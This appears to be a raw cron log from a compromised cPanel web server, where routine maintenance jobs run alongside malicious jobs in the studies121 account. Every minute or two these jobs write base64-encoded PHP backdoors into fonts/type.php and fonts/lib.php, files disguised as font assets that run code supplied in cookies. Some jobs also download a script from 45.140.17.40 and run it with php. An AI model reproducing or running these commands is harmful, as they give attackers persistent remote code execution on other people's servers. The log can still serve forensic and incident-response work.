Aug 31 13:04:01 ip-184-168-122-23 CROND[3742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:04:01 ip-184-168-122-23 CROND[3740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:04:02 ip-184-168-122-23 CROND[3741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:05:01 ip-184-168-122-23 CROND[3867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:05:01 ip-184-168-122-23 CROND[3868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:05:01 ip-184-168-122-23 CROND[3871]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 13:05:01 ip-184-168-122-23 CROND[3874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:05:01 ip-184-168-122-23 CROND[3875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:05:01 ip-184-168-122-23 CROND[3873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:05:01 ip-184-168-122-23 CROND[3876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:06:01 ip-184-168-122-23 CROND[3983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:06:01 ip-184-168-122-23 CROND[3985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:06:01 ip-184-168-122-23 CROND[3986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:06:01 ip-184-168-122-23 CROND[3987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:06:01 ip-184-168-122-23 CROND[3988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:07:01 ip-184-168-122-23 CROND[4092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:07:01 ip-184-168-122-23 CROND[4094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:07:01 ip-184-168-122-23 CROND[4095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:07:01 ip-184-168-122-23 CROND[4093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:08:01 ip-184-168-122-23 CROND[4291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:08:01 ip-184-168-122-23 CROND[4292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:08:01 ip-184-168-122-23 CROND[4295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:08:01 ip-184-168-122-23 CROND[4294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:08:01 ip-184-168-122-23 CROND[4296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:09:01 ip-184-168-122-23 CROND[4381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:09:01 ip-184-168-122-23 CROND[4385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:09:01 ip-184-168-122-23 CROND[4384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:09:01 ip-184-168-122-23 CROND[4386]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 13:09:01 ip-184-168-122-23 CROND[4382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:10:01 ip-184-168-122-23 CROND[4475]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:10:01 ip-184-168-122-23 CROND[4476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:10:01 ip-184-168-122-23 CROND[4479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:10:01 ip-184-168-122-23 CROND[4482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:10:01 ip-184-168-122-23 CROND[4483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:10:01 ip-184-168-122-23 CROND[4485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:10:01 ip-184-168-122-23 CROND[4488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:10:01 ip-184-168-122-23 CROND[4487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:11:01 ip-184-168-122-23 CROND[4593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:11:01 ip-184-168-122-23 CROND[4591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:11:01 ip-184-168-122-23 CROND[4592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:11:01 ip-184-168-122-23 CROND[4594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:12:01 ip-184-168-122-23 CROND[4704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:12:01 ip-184-168-122-23 CROND[4705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:12:01 ip-184-168-122-23 CROND[4706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:12:01 ip-184-168-122-23 CROND[4707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:12:01 ip-184-168-122-23 CROND[4708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:13:01 ip-184-168-122-23 CROND[5251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:13:01 ip-184-168-122-23 CROND[5252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:13:01 ip-184-168-122-23 CROND[5256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:13:01 ip-184-168-122-23 CROND[5253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:14:01 ip-184-168-122-23 CROND[5336]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:14:01 ip-184-168-122-23 CROND[5337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:14:01 ip-184-168-122-23 CROND[5338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:14:01 ip-184-168-122-23 CROND[5339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:14:01 ip-184-168-122-23 CROND[5344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:15:01 ip-184-168-122-23 CROND[5454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:15:01 ip-184-168-122-23 CROND[5456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:15:01 ip-184-168-122-23 CROND[5457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:15:01 ip-184-168-122-23 CROND[5458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:15:01 ip-184-168-122-23 CROND[5460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:15:01 ip-184-168-122-23 CROND[5459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:16:01 ip-184-168-122-23 CROND[5550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:16:01 ip-184-168-122-23 CROND[5552]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 13:16:01 ip-184-168-122-23 CROND[5553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:16:01 ip-184-168-122-23 CROND[5554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
